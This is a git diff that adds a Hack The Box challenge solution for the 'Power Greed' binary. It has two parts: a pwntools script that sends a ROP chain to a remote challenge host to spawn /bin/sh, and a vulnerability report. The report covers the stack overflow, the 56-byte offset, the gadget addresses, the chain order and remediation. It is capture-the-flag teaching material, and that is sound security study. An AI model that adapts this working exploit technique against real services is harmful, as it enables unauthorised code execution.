diff --git a/htb-binary/power_greed_solve.py b/htb-binary/power_greed_solve.py new file mode 100644 index 00000000..198ce60d --- /dev/null +++ b/htb-binary/power_greed_solve.py @@ -0,0 +1,40 @@ +from pwn import * + +HOST = "154.57.164.74" +PORT = 32436 + +def main() -> None: + p = remote(HOST, PORT) + + payload = b"A" * 56 + payload += p64(0x00402BD8) # pop rdi ; pop rbp ; ret + payload += p64(0x00481778) # "/bin/sh" + payload += p64(0x0) # filler for rbp + + payload += p64(0x0040C002) # pop rsi ; pop rbp ; ret + payload += p64(0x0) * 2 # rsi = 0, filler for rbp + + payload += p64(0x0046F4DC) # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret + payload += p64(0x0) * 5 # rdx = 0, fillers for rbx/r12/r13/rbp + + payload += p64(0x0042ADAB) # pop rax ; ret + payload += p64(59) # sys_execve + + payload += p64(0x0040141A) # syscall + + p.recvuntil(b">") + p.sendline(b"1") + + p.recvuntil(b">") + p.sendline(b"1") + + p.recvuntil(b"(y/n):") + p.sendline(b"y") + + p.recvuntil(b"buffer:") + p.sendline(payload) + + p.interactive() + +if __name__ == "__main__": + main() diff --git a/htb-binary/power_greed_vulnerability_report.md b/htb-binary/power_greed_vulnerability_report.md new file mode 100644 index 00000000..9aa7f74d --- /dev/null +++ b/htb-binary/power_greed_vulnerability_report.md @@ -0,0 +1,307 @@ +# Vulnerability Report — Power Greed (HTB) + +## Context + +`power_greed` is a 64-bit statically linked ELF binary that runs as a Linux userspace application and presents an ANSI-colored terminal UI that simulates an ICS controller. The challenge writeup identifies it as a statically linked amd64 binary intended to be exploited via a ROP chain that invokes `execve("/bin/sh", 0, 0)`. It also shows the protection profile reported by `checksec`: Partial RELRO, NX enabled, No PIE, SHSTK enabled, IBT enabled, and a reported stack canary. However, the vulnerable path is still practically exploitable because the overflow occurs in a path where the canary is not effectively protecting the return path. + +The program is interactive. Its relevant input flow is: + +1. Main prompt: select **Diagnostics Center** +2. Diagnostics submenu: select **Vulnerability scan** +3. Confirmation prompt: answer **`y`** +4. Final prompt: provide input to the vulnerable buffer + +In the challenge UI, this appears as a menu-driven “controller” with prompts such as: + +```text +ics@shell> +1. Diagnostics Center +2. Log Console +3. Exit +``` + +and later: + +```text +Do you want to test that? (y/n): +[INFO] Crash test the buffer: +``` + +These prompts are relevant because exploitation requires feeding inputs in the correct order before the final overflowing payload is sent. + +The official writeup shows the binary properties and the relevant menu path visually on pages 2–4, including the buffer test prompt and the resulting segmentation fault when overlong input is provided. + +## Vulnerability + +### Classification + +The vulnerability is a **stack-based buffer overflow**: + +- **CWE-121: Stack-based Buffer Overflow** +- More specifically, the program accepts more bytes than the destination stack buffer can safely hold and allows the saved return address to be overwritten. + +### Where the vulnerability manifests + +The vulnerable behavior occurs in the “Crash test the buffer” stage reached by navigating: + +1. `1` → Diagnostics Center +2. `1` → Vulnerability scan +3. `y` → confirm the test + +After this point, the program reads attacker-controlled input into a stack buffer without sufficient bounds checking. The official writeup on page 4 shows that providing long input causes a segmentation fault, confirming the overflow condition. + +### Why the overflow matters + +The binary reports a canary as present, but the effective vulnerable path is still exploitable. In practice, the exploit path allows control over RIP after a fixed offset. This was not fully explained in the official writeup, so the offset was derived manually during debugging. + +### Specific input that triggers the bug + +Any oversized input after the final buffer prompt triggers the unintended behavior. A simple oversized pattern is enough to crash the process, for example: + +```python +b"A" * 200 +``` + +### Recovering the offset + +The official writeup states that “the offset is 0x38 bytes” but does not show the derivation in detail. That offset can be recovered by sending a cyclic pattern and then locating the overwritten RIP value. + +A standard workflow is: + +1. Generate a cyclic pattern: + ```python + cyclic(200) + ``` +2. Trigger the vulnerable path and send the pattern. +3. Observe the crashed RIP. +4. Resolve that value back to an offset with: + ```python + cyclic -l + ``` + +In this case, the resolved offset is: + +```text +0x38 bytes = 56 bytes +``` + +This means the first 56 bytes fill the buffer and adjacent saved frame data, and the next 8-byte value controls RIP. + +## Exploitation + +### Overview + +Because NX is enabled, the exploit cannot simply inject and execute shellcode on the stack. Because the binary is statically linked, a classic ret2libc strategy is not the intended route. Instead, the exploit uses **Return-Oriented Programming (ROP)** entirely inside the binary itself. + +The overall exploitation path is: + +1. Trigger the stack overflow +2. Overwrite RIP after 56 bytes +3. Use existing gadgets inside the binary to set up the Linux syscall ABI for `execve` +4. Invoke `syscall` +5. Spawn an interactive shell + +### Why ROP is viable here + +Two properties make this straightforward: + +- **No PIE**: code addresses are stable +- **Statically linked**: the binary contains many gadgets and useful strings + +The writeup shows that `/bin/sh` already exists in the binary’s memory, and it lists the gadget addresses necessary to set the required registers. + +### Required register state + +To call: + +```c +execve("/bin/sh", 0, 0) +``` + +on Linux amd64 using the syscall interface, the attacker must set: + +| Register | Value | Meaning | +|---|---:|---| +| `rax` | `59` | syscall number for `execve` | +| `rdi` | pointer to `"/bin/sh"` | first argument (`filename`) | +| `rsi` | `0` | second argument (`argv`) | +| `rdx` | `0` | third argument (`envp`) | + +### Gadgets and useful data recovered from the binary + +The official writeup provides the following addresses: + +```text +pop rax ; ret +0x000000000042adab + +pop rdi ; pop rbp ; ret +0x0000000000402bd8 + +pop rsi ; pop rbp ; ret +0x000000000040c002 + +pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret +0x000000000046f4dc + +syscall +0x000000000040141a +``` + +The string `"/bin/sh"` is found with: + +```text +find 0x480000, 0x490000, "/bin/sh" +0x481778 +``` + +and confirmed with: + +```text +x/s 0x481778 +0x481778: "/bin/sh" +``` + +### Why the gadget order matters + +The most subtle gadget is: + +```text +pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret +``` + +This gadget is used to set `rdx = 0`, but it also does: + +```text +xor eax, eax +``` + +which clears `rax`. + +That means the ROP chain **must not** set `rax = 59` before this gadget. If it did, the `xor eax, eax` side effect would destroy the syscall number. Therefore the correct order is: + +1. Set `rdi` +2. Set `rsi` +3. Set `rdx` (which also clears `eax`) +4. Set `rax = 59` +5. Execute `syscall` + +### Stack layout of the final ROP chain + +With the discovered offset of 56 bytes, the stack layout becomes: + +```text +[ "A" * 56 ] + +[ pop rdi ; pop rbp ; ret ] +[ 0x481778 ] -> rdi = "/bin/sh" +[ 0 ] -> filler for rbp + +[ pop rsi ; pop rbp ; ret ] +[ 0 ] -> rsi = 0 +[ 0 ] -> filler for rbp + +[ pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret ] +[ 0 ] -> rdx = 0 +[ 0 ] -> filler for rbx +[ 0 ] -> filler for r12 +[ 0 ] -> filler for r13 +[ 0 ] -> filler for rbp + +[ pop rax ; ret ] +[ 59 ] -> rax = sys_execve + +[ syscall ] +``` + +### Practical exploit primitives enabled + +The vulnerability first provides: + +- **Control over the saved return address** +- **A stack overwrite primitive** + +From that, the attacker creates: + +- **Register control via pop gadgets** +- **A syscall invocation primitive** +- **Process-spawning capability via `execve("/bin/sh", 0, 0)`** + +### Input synchronization detail + +A practical nuance discovered during debugging is that the program’s ANSI-colored output can make naive `sendlineafter` matching brittle. Matching prompts too strictly, especially with exact spacing or color-obscured prompt text, can cause the script to hang. In this challenge, robust matching used short, stable delimiters: + +- `b'>'` for the two menu prompts +- `b'(y/n):'` for confirmation +- `b'buffer:'` for the final payload prompt + +This is an exploitation reliability detail, not the root vulnerability, but it is necessary to reproduce the exploit script correctly. + +## Remediation + +### Primary fix + +The root cause is unsafe buffer handling. The direct remediation is: + +- Replace any unsafe read into the stack buffer with a length-bounded read. +- Ensure the destination size is enforced correctly. + +For example, instead of an unchecked input operation, use a size-limited alternative such as: + +```c +fgets(buf, sizeof(buf), stdin); +``` + +or equivalent bounded input handling. + +### Additional hardening + +The following would make exploitation significantly harder or impossible: + +1. **Actually enforce stack canary protection in the vulnerable path** + If the canary is present, it must be checked before returning from the affected function. + +2. **Enable PIE** + Position-independent execution would randomize code addresses and break fixed-address ROP. + +3. **Use Full RELRO** + While not central to this exploit, it hardens other exploitation paths. + +4. **Reduce gadget density** + Statically linked binaries contain many gadgets. Dynamic linking alone would not fix the vulnerability, but it would reduce the amount of reusable code in the main executable. + +5. **Remove or sanitize dangerous diagnostic modes** + The “crash test the buffer” behavior appears intentionally unsafe. If such functionality were present in a real product, it should be removed entirely or gated behind strict authorization and safe test harnesses. + +### Variant Analysis + +Similar vulnerabilities can be found by searching for: + +- Functions that read into fixed-size stack buffers +- Diagnostics or test modes that accept arbitrary user-controlled strings +- Paths where stack canaries are reported but not effectively enforced +- Menu-driven code paths that eventually funnel into unsafe reads + +Automation ideas: + +- Static analysis for unsafe input sinks +- Fuzzing with increasing-length inputs across menu states +- Instrumentation to detect return-address corruption +- Pattern-based search for stack allocations followed by unbounded copies + +## Reproduction Summary + +1. Connect to the service or execute the local binary. +2. Navigate to the vulnerable path: + - `1` + - `1` + - `y` +3. Send a cyclic pattern and determine the RIP offset. +4. Confirm the offset is `56`. +5. Locate the required gadgets and `/bin/sh`. +6. Send the final ROP payload. +7. Receive an interactive shell and read the flag. + +## Proof-of-Concept Exploit Script + +The exploit script is provided separately as `power_greed_solve.py`.